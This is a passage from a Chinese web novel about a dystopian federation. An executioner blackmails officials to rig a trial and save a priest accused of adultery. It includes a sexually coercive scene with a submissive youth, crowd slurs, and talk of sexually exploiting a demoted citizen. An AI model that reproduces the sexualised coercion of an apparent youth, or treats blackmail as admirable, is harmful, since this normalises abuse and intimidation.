“红刀!” * 绛刀站在船头。 海船破风,呼啸的风猛烈吹起他的衣角。 少年表情漠然,眉眼精致秾丽,虽然眼下有一道被刀剐过似的疤痕,但完全无损他的美丽,反倒像一件带着裂痕的艺术品, 他上衣领口扣子解开,脖颈上拴着一根黑色的颈环。 仔细看的话,会发现,少年锁骨下方也有一道同样的剐伤,与脸上的疤如出一辙。 绛刀回头望了一眼,岸边那人影还在奔跑,直到力竭停下,只剩一个小小的黑影,停在码头尽头,艰难地气喘吁吁。 绛刀垂下眼。 拿出一部光脑,在通讯录里滑动,片刻后,锁定了对应的人脸。 他手里的是红刀的通讯录。刚刚想追船的黑发男人是上一届议会长的狗,算得上红刀的“前辈”。 无用的信息。 绛刀淡漠地收回视线,将光脑关机——很快他将用不到任何电子设备。 绛刀上岛时,林又茉正在森林深处。 私人海岛植被茂盛,与世隔绝,悬崖峭壁、高山密林,与世隔绝。 像一个电子信息的天然法拉第牢笼*。 林又茉穿着一身浅白的亚麻吊带裙,双手手指绑着绷带,握着一把短刀,从林间走出来。 在物竞天择的原始森林里,所有生物的阶级只按食物链排序,而她走路不紧不慢,如此轻松,毫无疑问站在这条阶级链的顶端。 她单手拖着一头雄鹿。 年轻的少女有着不符合她样貌的力气,巨大的雄鹿被拖曳在身后,留下一串模糊血迹。 林又茉的半张脸沾着血,她冷淡地转过头,和绛刀对视。 “上次我应该说过了,不要打扰我。” “抱歉,执刑官。” 林又茉没有理会他,径直拖着那头巨型雄鹿走向林间一旁的木头猎人小屋。 小屋后方是一个屠宰室,挂满了铁制钉钩和各类宰杀动物用的刑具。 绛刀在原地站了片刻,还是跟了上去。 在过去的一个月内,绛刀仿佛像一条换了主人的狗,一声不吭、规规矩矩地跟在她身后,宛如影子。 大多数时候林又茉并不理会他,但也没排斥他存在,于是绛刀就如影随形跟着。如果她心情不好,他就会自觉离远一些,但不会离开。 他剐去了眼下和身上的红痣,戴上了与红刀一模一样的黑色颈环,忠诚地扮演好那个“赔给她的新玩具”的角色。 “看来你对你原来的主人很听话。”林又茉有一次道。 绛刀只是眼睛垂得更低,回答:“现在我的命是您的。” “是吗?那笑一个。” 绛刀不理解这个命令,但他不会抗拒她的要求,于是抬起眼,木然地扬起嘴角。 同样的脸,同样的身形,同样的打扮,却是一眼能看出来的不同的两个人。 “你原来的主人,把你教得很劣质。”林又茉说,她的手指按上少年的嘴角,往下压,“不用了。”她平静道。 她观察他。 绛刀顺从地低下身,令她方便动作。 林又茉漆黑的眼睛打量他。 她说:“你哥很会上床。你呢,会吗。” 绛刀双膝跪在地面,仰脸注视她,阴影下,少年的唇色湿润。 他轻轻抿了抿唇,张开了唇。 然后他的后脑就被抵在了墙上。 良久,林又茉不感兴趣地收回手。 绛刀在阴影里定格许久,头发被拽得生疼,感受着脸上残留的湿意和温度,他慢慢咽下喉咙,少年脸颊晕着不自然的潮红。 最终,他收拾完自己,还是无声地跟了出去。 不过现在。 猎人木屋后的屠宰室内。 巨大的雄鹿被轰然扔上台面,林又茉已经拿好了工具,偏过头,看到绛刀的身形没听她的话出现在门口。 “有一件事,我想,您可能会想要知道。”他站在阴影里,像一抹影子。 “什么事?” “是关于神殿。” “是议会长和神官的婚礼?一个月前的事情,你不用特意给我转播。” 一个月前仲夏夜节,漫天的庆祝烟花在海岛上都能看到。 “如果是这件事,你可以离开了。” “并不是。” “那是什么?” 绛刀沉默片刻,回答,“我记得您跟神官私交很好。” 林又茉停下动作。 绛刀:“温臻……神官,因为在婚后面对民众需要出席的圣光示礼上,公然触犯神殿律法,亵渎圣仪,犯下无可饶恕的罪行,议会长当场震怒,宣布要将神官进行审判。” 他慢慢复述着得到的消息。 ——审判,是针对A级公民及以上的定罪机制。 只有在足以扣除这名A级公民全部信用点、甚至剥夺其阶级资格的极重罪行发生时,才会正式启动。 这是一项古老而严苛的制度,通常几百年才发生一次,因为很少有A级公民能够犯下足以启动它的罪。所有符合资格的A级公民必须以陪审团身份出席,裁定罪人罪行的尺度。 议会长一定格外震怒,才会开启这样的审判。 屠宰室内昏暗,门外洒进来的光将林又茉那张没有表情的脸映得一半没在阴影里,看不清她的神色。 “审判在什么时候?” “后天。” “……议会长,薛柏寒?”她问。 “是的,议会长。” 她将手中的刀放下在台面上,走出来。执刑官一向很难被看出情绪,但此时,绛刀却像森林里的动物一般,莫名升起一种本能的恐惧感。 森林中,无数鸟类哗啦啦飞起。 登上返回主港的船只,海浪翻涌。 时隔一个月,林又茉终于又看见了不远处渐渐清晰的主岛轮廓。 碧蓝的海线,映衬着陆地。港口那座分教堂也出现在她的眼中。 而逐渐地,她听到了无数民众的怒吼声,辱骂声,教堂像一座罪恶的石碑,被人唾骂。 “他忘了我们,他背叛了神圣的誓言!” “污秽了我们的信仰!” “他是魔鬼,令神明蒙羞!不可饶恕!” “该被降为E级,成为所有人的俵子,活该当倡伎!” …… 林又茉漆黑的眼睛转过来,海风将她的黑发吹起。 她的眼睛牢牢地盯着他。 她问:“温臻的罪名是什么?” “执刑官……” “回答我。” 绛刀停顿片刻,仍是回答了。 他说:“通奸。” ** 圣洁巨大的神殿内,洁白的神明石像立在高耸的窗前,斑驳的光线穿透窗棂,在白色的石地上笼罩出一个圆形光圈。 温家内部的问责,无数白袍的神官立在殿内周围,像面容模糊不清的人偶,仿佛一座无声的牢笼。 “我对你太失望了!你还记得我们的使命、我们的任务,家族的荣誉吗?!” “一代又一代……我们究竟付出了多少,命运、信仰、名誉……这一切的一切,全部因为你而毁于一旦!” 威严的温家长者穿着厚重的金丝白袍站在他面前,高高在上,目光如刀般凌厉,愤怒地冷声质问:“你作为圣洁的神官,竟犯下亵渎信仰的滔天大罪,你知不知道自己的所作所为玷污了多少人的信念和希望?” “你竟敢做这种事,你竟敢做这种事……” “温臻,我问你,你承认你犯下的罪行吗?!” 白袍凌乱,昔日受万人敬仰的神官跪在光圈中间,浅金色的长发蜿蜒在地上,他脸色苍白,唇色失血,身上锁着镣铐。 几日禁食和监禁令他身形削瘦,仿佛随时都会破碎。 良久,他轻轻撑起身子。 柔顺的金发顺着肩滑落,露出那张美丽而脆弱的脸庞,他止不住咳嗽,血迹从唇角滑落。 温臻温柔弯眼:“是的,我有罪。” 第18章 轰隆一声,铁质的黑色栅栏缓缓合上声。 伴随着这一声沉闷的巨响,那抹金发削瘦的身影彻底被关在了门后。 这是神殿的禁闭室。 只有犯下最严重罪行的神职人员会被关在这里。 禁闭室外,温家威严的长者身披厚重白袍,面色铁青地盯着紧闭的铁门,久久一言不发。 “叔父,神官大人已经禁食好几天了,继续把他这样关押下去,他本来身体就虚弱,会不会撑不住……” 长者冷厉的目光横扫过来,斥道:“谁允许你继续叫他神官?你以为出了这种事,他还能继续做他的神官?他亵渎了教义,玷污了圣职,不在审判日被判死刑——都已经算神明仁慈!” 那人立刻噤声,不敢再说话。 过了片刻。 “那议会长那边……我们怎么交待?” 长者吐出一口气,用力按眉心:“薛议会长那里,你转告他,我们温家也没预料到会有这样的事情出现,我们会自己商议,尽早选出一名新的神官给他送过去,改日我会亲自上门赔礼道歉……” 长者嘱咐好条条框框,又沉默下来。 这一代里,最合适的人选,本来就是温臻。 无论心性、外貌,还是行事手段,他都是最出色的那一个。 从小到大,温臻从来没有让家族失望过一次,他样样都如此完美,连全联邦的公民都如此爱他,甚至让信徒们对信仰的追求达到了前所未有的高度。 明明他之前同意了婚事,一切都行进在正轨上,这几个月内究竟出了什么变故? 他为什么非要自寻死路? 太令人失望……太令人失望。 “对了那个……通奸者呢。” 长者忽然开口,说出这两个字时,脸上的厌恶难以掩饰,仿佛这名字本身就是污秽。 旁边人腰躬得很低:“已经处理掉了。” “怎么处理的?” “听说是在那一件事之后,神官大人……温臻自己亲手处理的。” “怎么发展起来的?” “不清楚。” “身份?” “据说……是议会长身边的一名守卫。” 长者听了,沉默良久,摆摆手:“行了。我知道了。” “让他在里面好好反省。” 长者最后看了一眼禁闭室的铁门,目光复杂,随即转身离去。 “转告薛议会长——无论审判日那天,对温臻的判决是什么,” “温家都会全盘接受。” ** 都城。 繁华地带中心,顶级豪华大楼高处。 78楼的露台,就算是夏日,高处的风也依然寒冷,吹拂起长长的黑发。 林又茉垂眼盯着极远处的神殿。 神殿是联邦都城的地标性建筑,位于经纬线交汇的正中央,不只是这座城市的心脏,更是整个联邦宗教信仰的核心。 最深处,一座直指苍穹的尖塔笔直矗立,四周层层环绕着圆形围墙,结构仿佛古罗马斗兽场,古老、宏伟而冷峻。 神殿的护卫军全天候日夜驻守,他们手握最先进的武器,足以在瞬间格杀任何擅闯者。 在“神官通奸”的丑闻爆出之后,面对愤怒的信徒,这样的防卫措施显然也变得不可或缺。 她所在的这栋顶级奢华的公寓大楼,恰好可以俯瞰神殿的全貌。 “执刑官,没有允许擅闯神殿,属于违反联邦律法。” 露台一侧,绛刀不得不出声提醒。 她已经凝视得太久了。 林又茉漆黑的眼睛没有波澜,她脸上看不出一丝情绪。 “我知道。”她说。 “用科技手段轰炸同样……” “我知道。” “指示他人行凶也……” “嗯。” 忽地,身后传来叮铃当啷的玻璃碰撞声。 林又茉回头,看见露台的门被拉开,一名金发的美丽男人身穿丝绸睡衣,慢悠悠走了出来。 他手中拿着两杯打好的酸奶。 “这杯是给你的。” 大明星季相兰轻飘飘道,将手里另一个玻璃杯递给不远处的绛刀,“这杯是给你带来的小朋友的。” “鲜果奶昔,不知道合不合这位小朋友的胃口?” 绛刀沉默着没有动作。 相貌精致的少年没有表情,宛如木雕。 季相兰眯眼,打量他,这个没见过的小孩长相过于优越,举止行为却像条哑巴的狗,明显不是普通人,不确定是什么来历。 林又茉也并没有介绍。 “好吧,看来你不太喜欢。”季相兰不甚在意地将多余的那一杯搁置在台上,走近林又茉,熟稔而自然地替她理被风吹乱的碎发。 “又茉,之前你都去哪里了?是忙工作么?累不累?” “嗯,不算太累。”林又茉没有多回答。 季相兰就笑了。 他垂眼低头,亲了亲她的发顶。 季相兰是聪明人。聪明人知道识趣。许久没见的小女孩联系他就为了要用他家的露台,季相兰虽然在千里之外,但还是赶回来见她了。 他不懂政治,也不懂局势,但知道什么时候该避嫌。这两个人之间的气氛显然格外沉重,季相兰就应该聪明地不去过问。 林又茉能想到他就行了。 于是季相兰悠悠地俯下身在林又茉唇边留下一个柔软的吻,准备离开。 “冰箱里有准备好的食物,车的钥匙在抽屉,几张不记名的卡在书柜上,需要换新的衣服的话,打开第二间衣帽间……我先飞回片场了,如果有任何需要的,我的电话,管家的电话,你都知道的。” “对了。”迈进露台的门前,季相兰还是轻轻俯到了林又茉的耳边,惩罚似的咬了一下她的耳朵,低哑嗓音带着些吃味, “其他地方都可以。” “不准带小朋友……上我们的床。” 大明星随即恢复了迷人的微笑,招招手离开了。 很是洒脱。 绛刀默不作声地垂眼,他无疑在季相兰的外表上发现了一些微妙的蛛丝马迹,但他只字未提。 林又茉的目光转回来,又看向远处恢弘的神殿。 她沉默着,不知道在想什么。 ** 是夜。 都城郊区,一处私人庄园。 红酒香槟,烛火摇曳,觥筹交错, 联邦财政署署长酒酣耳热,挺着滚圆的肚子半瘫在扶手椅里,脸涨得通红,显然兴致正浓。 联邦财政署长,A级公民,信用点:3127。 “后 天就是审判日了——赞美神明!几百年来没有出过一次审判日,这一次给我赶上了。后天啊,肯定是一场绝佳的好戏!” “是吗?”妻子一脸羡慕问道,“我听说神官是因为通奸,才会被议会长送去审判?” “是啊,议会长大发雷霆。你是不在现场,我那天正好在仪式上。那是每一次世纪婚礼之后最重要的仪式,虽然不面对民众,但我们这些A级公民都得出席。” “那次仪式的重要程度——这么说吧,就跟每个贵族成年之后的成人礼差不多,基本属于奠定你社会地位的了。” “当时仪式开始,议会长盛装出席,但左等右等,一直没等到神官,于是让秘书去查看。没过一会儿,秘书就一脸惨白地回来了。” 说到这里,财政署长来了劲,挺了挺腰,“据说,当时议会长进神官的房间时,正撞到通奸的场景。那个通奸的守卫正衣衫不整地从房间出来,被议会长撞个正找,说是神官百般勾引!最后这人还闯进了宴会厅被我们所有人见着了!” “啧啧啧,你说这绿帽子戴的!薛大议会长那个脸色,太恐怖了。他这辈子估计没这么丢脸过。” 妻子问:“那神官呢?” 财政署长卡壳:“神官……我又没进房间,当然没看见神官什么样。但你想,敢在议会长眼皮子底下偷情,得胆子多大?啧,没想到那么纯洁圣洁的一个人物,背地里这么下贱放荡,简直就是个荡夫……” “那通奸的人呢?” “从宴会厅阳台逃跑摔死了。” 众人一片唏嘘声。这可不是日常能听到的趣闻。上流权贵的生活平淡无聊,有这样令人兴奋的事情实在少见。 财政署长接受到一家人投来的热切崇拜的目光,洋洋得意,不由得又呷了口酒,发散起来:“你们知道这件事谁受益最大吗?是红灯区。红灯区本来就有一个神殿类似的区,现在,多的是愤怒的信徒去那里发泄。可惜啊,原来红灯区的主管李七莫名其妙被一场爆炸炸死了,要不然肯定还能玩出更多花样……” 就在这时,突然“咣”的一声,餐厅陷入了黑暗。 一家人忽然陷入了安静。 “停电了?”“怎么会停电?”“管家呢?” “出故障了?” “要不要找人来看看?” 财政署长骂骂咧咧站起身,给能源署的署长打电话:“一天天的,连A级公民住的地方都能断电,这个世界不如翻了天!” “嘟……嘟……嘟……” 拨号出去,只有盲音。 财政署长皱眉。能源署长那个女人不会又在跟情人开派对吧?没道理不接通讯。 下一刻,他明白了一切的缘由—— 几道火花噼噼啪啪地顺着线路炸响,家人们慌做一团,尖叫着躲到了桌子下面,而下一瞬,餐厅面向花园的落地窗骤然碎裂,“嘭!”,一声巨响,无数的玻璃四散飞溅,尖锐地插入地毯与墙角。 一个黑影悄无声息地走了进来。 没有灯光,没有照明源,只有从花园外透进来的零星星光。 窗外花园尽头,所有监控摄像,全部闪烁着【权限干扰】字样,宛如黑暗中鲜红的眼睛。 黑影在他面前停下。 “执、执刑官……” 财政署长眼皮狂跳,嘴唇哆嗦。 在他们所有这些权贵的心里,执刑官的含义与“死神”无异。只有执刑官,能在没有审判的情况下,砍死他们这些贵族。 神明在上——执刑官为什么出现在他家?! 话音没落,那黑影身后又缓步走进来一个高挑的人影,行动无声无息,抬手轻轻一抛,甩来一本厚重的书册。 “咚”的一声,书角砸出闷响。 财政署长扑过去,翻开册子……是账本。 他冷汗唰地涌上后背,慌乱道, “执刑官,我跟您平常互不往来,无冤无仇,这些、这些我都可以解释——” 财政署长急中生智,用上了毕生的演技和真情实感哭诉自己生活的不易与艰辛:他是如此地为联邦殚精竭虑、日夜操劳,但许多灰色地带不容他一只小小的蚂蚱蹦跶,他只能被迫委曲求全,暗中收集证据,以期有朝一日,能够亲自向尊贵的执刑官大人举报这些肮脏的贱民…… “如果有机会,我也一定把这群贱种送去审判日!” 财政署长眼含热泪,声音激昂,“为了您,为了联邦,为了这个世界!我是A级公民,律法赋予了我投票权,我一定、绝对、毫无疑问会投他们死刑!我向您发誓!我一定好好使用我的这张票,绝对不会让您失望!” “您让我——您让我做什么都行!” 林又茉半垂着眼,漠然地注视五六十岁的老男人撒泼打滚,哭喊乞求,丑态百出。 “你说的没错。” 她很轻、很慢地道。 “我让你做什么都行。” ** 【联邦能源署长,A级公民,信用点:3428】 【矿石业财阀代表,A级公民,信用点:3307】 【联邦首席战略顾问,A级公民,信用点:3459】 【生物科技董事,B级公民,信用点:2976】 【联邦生化银行行长,B级公民,信用点:2947】 …… 【联邦财政署长,A级公民,信用点:3127】 审判日的出席名单。 林又茉抬起手,划掉了最后一个名字。 第19章 联邦历320年,7月31日,仲夏节后一个月。 万众瞩目的审判日。 一大早,审判庭外便被大量民众、媒体、信徒围得水泄不通。这座雄伟的古罗马风格的建筑上一次启用还是一百三十年前,当时的议会长亲自坐镇审判了叛军的首领。 而没有想到的是,这座建筑再度被开启,竟然是今天。 “我们要他去死!” “贱货!” “神殿的耻辱!” “杀了他!玷污神明的人没有资格活着!” 民众愤怒的喊声在审判庭外撞击着墙面,人人像失控的浪潮,尖叫着、咆哮着、誓要将这个玷污他们崇高信仰的叛徒钉死在审判台上。 温臻,神殿的神官。 他们爱他,他们恨他,他们爱他高高在上,恨他从云端坠落,爱他圣洁不沾一丝尘埃,恨他背地里又是个背叛婚姻对别人卖弄风骚的倡伎。最恨的,是操他的人不是自己。 “死刑!”“死刑!” “我们要死刑!” “我要让这个贱人,死在我们面前!” 媒体的闪光灯疯狂闪烁。在治安署警察开道下,高级轿车与飞行器缓缓停靠,数名符合资格的A级公民及高信用点B级公民踏上石阶,进入审判庭。 ** 审判庭内部弥漫着陈旧石雕的气味。 林又茉到的很准时。 她迈步进来时,陪审席位上的人正如排队的鹌鹑一般陆陆续续落座。 少女穿着一身黑衣,像走错地方的高中生,她从二楼高台进来,但没有一个人能够忽视她的存在。 薛柏寒到的同样准时。 英俊的议会长从不会在这些礼仪细节上出错,他今天穿了属于联邦议会长的正装,西装挺括,高大挺拔,气场逼人。他一出现,周围的人便本能地低头行礼,战战兢兢。 “议会长。” “议会长……” “议会长,您日安。” 薛柏寒挂着一抹冷淡的笑意,目光扫视全场,定格到审判庭对面的林又茉身上。 “执刑官。”他微笑点头致意。 林又茉没说话。 两个人各居高台一侧,遥遥相望。 审判庭内,平日里像夏蝉一样聒噪的贵族们此时嘴巴闭得紧紧。 人们各自心怀鬼胎,低眉顺目,鬼鬼祟祟互相张望,竟然没有一个人说话。 只是有人嘀咕:为什么执刑官穿得像要出席葬礼? 审判庭就在这样诡异的秩序下落座完毕。 “咚——咚——” “全体起立。” 钟声敲响十二下,大法官携带法典入席,所有陪审员起立致意。 在一番开场白之后,法官举槌敲响,进入正题,“审判正式开 始。” “今日的审判对象,是温臻,现任神殿大神官。” “依据《联邦宪律》第七十三条及神殿誓约法第十四条,温臻在婚姻期间,与非婚关系人私下发生□□与精神不忠行为,已构成通奸罪。” “违反联邦婚约誓词与神职清规……” 冗长的罪名列举完毕,法官道:“请罪人出席。” 话音落下,在众人的惊呼声中,审判庭底部的木板忽然向上掀开,露出底下幽暗的监牢。 黑色的铁栅栏下,白袍的美丽神官被钉在木架上。 温臻的双眼被蒙上白色布条,耳朵被封住,嘴唇因干裂微微泛红,看起来像一只羽翼被撕裂的金丝雀,奄奄一息。 似乎感受到了光线,他微微仰头,淡色的光映在他蒙着眼那张白皙美丽的脸上,有一种几近破碎的凄艳。 审判席上顿时出现骚动。 “肃静!——肃静!” 大法官不得不敲响木槌。 “罪人被蒙住双眼,封住双耳,堵住唇舌,封闭了五感——他看不见,听不到,说不出话,将在无尽的黑暗中接受这场审判,在恐惧中等待命运的判决。对他而言,这本身就是一种刑罚。” 法官严厉的目光扫过全场,缓缓道, “现在留给我们的问题是:我们将如何审判他?” 议会长薛柏寒施施然优雅发言:“死刑。” “死刑?!——” 这话一出,审判席上开始窃窃私语。 人们盯着最下方监牢中的美丽破碎的神官,眼中闪烁复杂的光芒。 有人竟然开始动摇不定。 死刑是不是太重了? 万一、万一有享用的机会…… “我——我赞同!” 有薛柏寒那一方的人咬咬牙站起来,“通奸是重罪,神殿的神官竟然做出如此玷污信仰的事情,只要死亡才能平息神明的怒火!我支持死刑!” “没错!” “说得对!” “我家人都是神殿信徒,无法接受这种污秽神名的行为发生,必须杀死他!” “让他下地狱!” “烧死他!在公众面前杀了他!” 要求死刑的发言义愤填膺,许多观望的公民又微微靠后,露出了迟疑的神色。 …… 联邦财政署长在座位上挪了挪屁股。 他汗流浃背,掏出手帕沾沾额角,冷汗一阵一阵。 对面支持死刑的发言如火如荼,形式几乎要一边倒。 财政署长偷偷抬眼去瞥二楼高台的执刑官——执刑官一个眼神都没施舍给他——他又去偷看自己同僚。 能源署长那个女人今天不苟言笑,西装眼镜,头发盘起,装出了一副正经政客的样子。 ……谁不知道这个女人是神官的狂热粉丝?她在红灯区都刷成vip客户了。说不定前晚,执刑官都没威胁她,她自己就顺势倒戈了。 果然,过了片刻,能源署长忽地扣上西装扣子,站起来朗声道:“你们说的对——但我强烈反对。” “我认为死刑对于通奸罪过于严苛。审判庭上一次判死刑还是对付叛军首领,在量刑尺度上我认为有争议。这次,我建议扣除信用点3500点,降为E级公民,作为更合适的惩罚。” 发完言,能源署长施施然坐下,动作潇洒从容。 财政署长目瞪口呆,大为不解,她居然还是第一个发言?为什么她拿到的剧本比他的重要? “那我——” 审判庭为之一静。 财政署长能感受到议会长的目光隔着整个审判庭落到自己身上,他又不安地挪了挪屁股,想到那本账簿——一咬牙一闭眼站了起来:“我也反对!” “神官通奸固然有罪,的确是严重违规行为,但从全局考量,直接判处死刑过于激进。” “温臻曾经长期担任神殿高位,在公众中具有极高影响力,贸然判决死刑会过于草率。” 他说到这儿,嗓音顿了顿,又飞快补充一句:“我建议,撤销其神职,扣除信用点2500点,降为C级公民,终身不得恢复相关身份——已经是足够严厉的惩罚。” 说完,财政署长在众人目光下硬着头皮坐下,额头的汗悄悄渗进了衬衣领口。 审判庭一片哗然。 “2500点?!神官做出如此亵渎神明的恶行,就扣除2500点?!” “这简直是轻飘飘带过,我绝不接受!” “如此恶劣的影响,扣除4000点都不为过!” “死刑,死刑!” 很快,联邦首席战略顾问、生化银行行长、生物科技董事,还有不少官员、商界政要都加入了辩论。两方唇枪舌剑,互不相让,已经到了白热化的阶段。 …… 隔着吵得热火朝天的审判庭,薛柏寒和林又茉遥遥对视。 林又茉漆黑的眼睛冷静。薛柏寒唇角挂着悠悠冷笑,笑意不达眼底。 两人分庭抗礼。 争论声此起彼伏,直到法官终于重重地敲下木槌,打断了喧哗。 “肃静!肃静!” “根据各位公民的意见,这场审判现有两个选项: “一,死刑;二,扣除3500点信用点,降为E级公民,并终身剥夺神职权利。——各位没有异议吧?” 法官目光扫过全场,众人立刻听话顺从地闭上嘴。 这本来就是底牌上的文字答案,现在只是双方明白地摊开了牌面。 见无人反对,法官道:“那么现在,开始投票。” 众人依次上前,将手中写好判决的纸条放入投票箱。 “议会行政院秘书长。” “联邦财政署长。” “军队战备司令上将。” “能源署长。” …… 一张张纸条被塞入箱中,到最后,全场只剩下两个人。 薛柏寒盯着林又茉,唇角微微勾起,他移开那双灰色的眼睛,迈步下台阶,走到法官席前,手中的票签没有折叠,直接投入了箱中。 【死刑】两个字清晰可见。 现在只剩下林又茉。 她从头至尾都站在审判庭高处,此时,终于动了。 她行进的路,所有人都下意识慌张地站起来为她让路。而她的选择是什么,毋庸置疑。 林又茉一路来到法官席前,手里拿着她的票签。 薛柏寒站在她的对面:“执刑官,说起来我还要感谢你,为我亲自剔除出了议会内叛徒的人选。” “下一步,我就要对这些人开刀。” 林又茉表情没有变化:“是吗?那么恭喜你。” 薛柏寒语气轻慢,嘴角挂着温和却讥诮的笑:“有时候我无法理解你,执刑官,就为了一个神官耗尽人力物力心力,这么大费周章。温家那么多不起眼的小神官,你大可以随便再挑一个。” “——反正我们都清楚,神官温家的本质究竟是什么,不是么?” 与林又茉那双漆黑的眼对视,薛柏寒微微一笑,吐出两个字,讽刺至极: “倡馆。” ** 即便薛柏寒令人发厌,但林又茉清楚他说的没错。 温家,神官世家。 一个什么都没有的家族,一个什么底蕴、产业、势力都没有的家族,却在这条路上站了千百年。 他们凭什么在这吃人扭曲的世界里占尽红利?凭什么站在信仰的顶端?凭什么住在这联邦中央核心的神殿?凭什么被万人敬仰,成为“神”的使者? 难道因为虚无缥缈的“神的指引”? 温家每一代那么多神官,培养得美丽高贵,最出名最漂亮的送给议会长,剩下的像明倡一样分给各类权势家族,美其名曰“传教”,以此巩固家族的地位。 像发放礼物。 下层人以为的高贵神官,只是上层人交际的赠品。 上层人乐意,神官们就是高洁的使者;上层人不乐意,神官们就是低贱的俵子。 温家,一个披着神圣白袍的高等伎院。 “所以为什么要和我作 对?执刑官。”薛柏寒问,英俊的议会长有着政客完美的手段,礼貌地提出条件,“温家的人不过都是付费就可购买的倡伎,玩坏了,玩死了,他们甚至会兴高采烈地给你送上替代品,生怕你不要。你知道么?他们已经打包好了下一个神官,在明天就要送到我的门前。” 林又茉漆黑的眼睛看着他,她没有接话。 薛柏寒环顾一周道:“这场上的局势,如果我猜的没错的话,你我的势力应该是一半一半。” “执刑官,你好好想想,我们这样的人才是利益共同体。你现在把票撕了,你跟我从此休战。怎么样?” 他微笑着伸出手。 薛柏寒打量她,小女孩今天穿了一席黑衣,黑色长发披散,脸颊素净纯白,很是安静。 林又茉忽地抬起眼。 她说:“不怎么样。” 这是拒绝。 薛柏寒脸色沉了下去。 林又茉:“是你给了我机会,议会长。” 薛柏寒怒极反笑,灰色眼睛冰冷地盯着她:“是吗?” “我要感谢你没有直接杀了温臻。毕竟被戴了绿帽后私下把人杀了,脸上会很难看。”她说,“是你给了我操控投票的机会。” “但你也不确定,你一定会赢,对么?” 薛柏寒一字一句尖锐指出,“执刑官,你甚至穿了悼服。” ——万一这场审判最终仍然判了死刑,她会亲自给神官送葬。 林又茉没有反驳。 政治是一艘暴风雨中的帆船,她无法说自己有十足的把握。 “愚蠢的幼童,妄图想要操控政治的概率天平……” 薛柏寒的耐心终于耗尽,“我给你的橄榄枝只有这一次,你执刑官。你最好想清楚。” 林又茉不再看他,抬手,将票按进箱子。 投票到此结束。 棋盘的双方各自使用完自己的回合数,一切操作结束,等待结果的宣布。 “如果没有人有异议,那么统计结束。” 法官开始拆票,“现在97票对97票,平局——” “嘭!” 审判庭的门骤然被推开,一名护卫打扮模样的人出现在门口。 “还有一张票。”护卫道。 ** 审判庭内一片哗然。 有人面露震惊,有的迟疑踌躇,也有少部分盯住良久,露出了若有所思的神情。 这名护卫径直穿行过审判席位,来到法官前,递上一张票:“法官阁下,前任议会长,向您问安。” ——前任议会长。 林又茉慢慢移动视线,却撞见薛柏寒同样盯住票根的目光。 现任议会长的脸上闪过一丝僵硬。但薛柏寒沉默片刻,竟然意外地没有出声驳斥。 这一张票来得太过突然,审判庭内一片混乱。 法官面色铁青,缓缓道:“前任议会长也是A级公民,拥有投票权。这一张票同样具有法律效应。” “接下来,我将统计结果——” 法官拆开那张纸条,赫然写的是【免除死刑】。 97票对98票。 一票之差——死刑败诉。 审判庭内静谧无声,下一刻,死刑方拍案而起,破口大骂,不知是不是作秀给薛柏寒看,而获胜一方也没有预想之中的高兴,个个脸色讳莫如深,盯向高台上的林又茉。 薛柏寒微微眯着眼盯着投票箱,表情晦暗不明,几乎有一瞬间的狰狞。 片刻后,他笑了:“恭喜你赢了,执刑官。你赢回家了一个被扣除3500点信用点、犯了通奸罪的E级公民。” “执刑官,我没记错,你似乎有洁癖?” 英俊的议会长说完,笑着点头致意,风度翩翩地离开。 ** 议会长与法官离开后的审判庭,仿佛失去了桎梏,一下沦为嘈杂的市场。 结局已定。 直属的上司不在,死刑那一方也没必要继续作秀。一群人逐渐放松下来,神色舒缓,没过一会儿,就已经和刚才的对手勾肩搭背,开始兴奋地商讨下一个话题。 沦为E级的神官。 昔日的高岭之花,现在成为了人人可以玩弄的阶下囚。谁不想做第一个客人? 他们畅想着玩乐的花样,计算着排队的日期,又沾沾自喜可以体验新的人生趣事。 有的人开始划拳,嬉笑地决定先后次序。 就在这时。 黑色长发的少女站在居高临下的法官席位,淡淡道:“我有一个提议。” “温臻的所有权,属于我。” 这话一出,一片寂静。 执刑官身后的黑面具护卫无声地从黑暗中走出来,定在她身后,像一抹忠诚的影子。 短暂的停滞后,哗然暴起。 “我不同意!” 刚刚还是同一阵营的能源署长立刻反水,女人拍案而起,危险地眯起眼睛,“E级公民的所有权是公共的,任何人无法独享,执刑官,我让你一步是给你面子,你不要太过分。” “没错!E级公民属于公共资源!” “就算你是执刑官也不可以漠视法律!” “神官……温臻就应该被送到红灯区,供人享乐,这就是他们E级的宿命!” 现场失控,吵声刺耳、贪婪和道德外衣混杂交织,一群野狗围住了一块血肉尚温的猎物。 林又茉并没有生气。 “你们说的都对。” “那你更不该独占他!” “你根本没有权利这么做!温臻就应该被送去红灯区。” “他现在是个E级,哪有什么人权,从今天晚上就应该开始履行他的义务!——” 林又茉说:“那么,欢迎你们来跟我抢。” 审判庭内,鸦雀无声。 ** 都城的夜晚,明月高悬。 夏夜里下了一场细棉的小雨,将树叶润湿,变成湿漉漉的深绿色。 林又茉回到家。 她见到了被送来的温臻。 第20章 起初,是鸢尾花的香味。 很淡,夹杂在轻微的消毒水的气味中。 林又茉仰头,一轮淡明的月高高挂在天际,家在都城的城郊,这一片空旷的绿荫野地、河流池水,触目所及的一切,都是她的所有物。 庄园的门被打开,黑色轿车驶入,林又茉拾级而上台阶,走进大门,就闻到了这样的气味。 “抱歉,林小姐……”年长的佣人局促地解释,“我们已经尽量把气味处理掉了,但时间不够,打扫的人还没彻底清完。只要再给我们一点时间,一定可以完全弄干净。” 林又茉不喜欢家里残留别人的气味,佣人们都清楚。 佣人冷汗涔涔。 因为家里没有电子机械,佣人们每天要花大量的时间徒手清扫整幢房子。 何况,就在前天,林小姐请离了大半的佣人。 林又茉只是说:“好。” 这是很漫长的一天。 林又回到房间,解开黑色悼服的扣子,换下衣服,去浴室洗澡。 她的房间窗外就是深绿色的树林。 二楼的落地窗,恰好在此时望出去,一片浓密的树叶在风中拂动,无边无际,像翻涌的墨画。 湿发吹干,她又下楼吃晚餐。 没有工作的林又茉生活单调而简单。晚饭由厨师夜以继日悉心搭配食谱,但林又茉其实对食物并没有太高要求。 她吃得适量、平淡,或许因为她的大脑并不会因为食物的口感而分泌多余的多巴胺。她总是适可而止。 前菜、主菜、甜点。 吃完饭,佣人恭敬地上来收走餐具。 像以往的每一晚一样。 但今晚,佣人垂着手等在餐厅门口。 在此时小心地询问她:“林小姐,您想去看一看……神官大人吗?” 林又茉停下。 终于,她似乎等了很久,才说:“好。” ** 林又茉顺着走廊进入尽头的那个房间。 几名白大褂在床边,见到她来,立刻全部站起来。 “执刑官。”“林小姐。” 医生的人选来自谨慎挑选筛选的名单,每个人的把柄和资产与名字挂钩,牢牢握在林又茉手里。 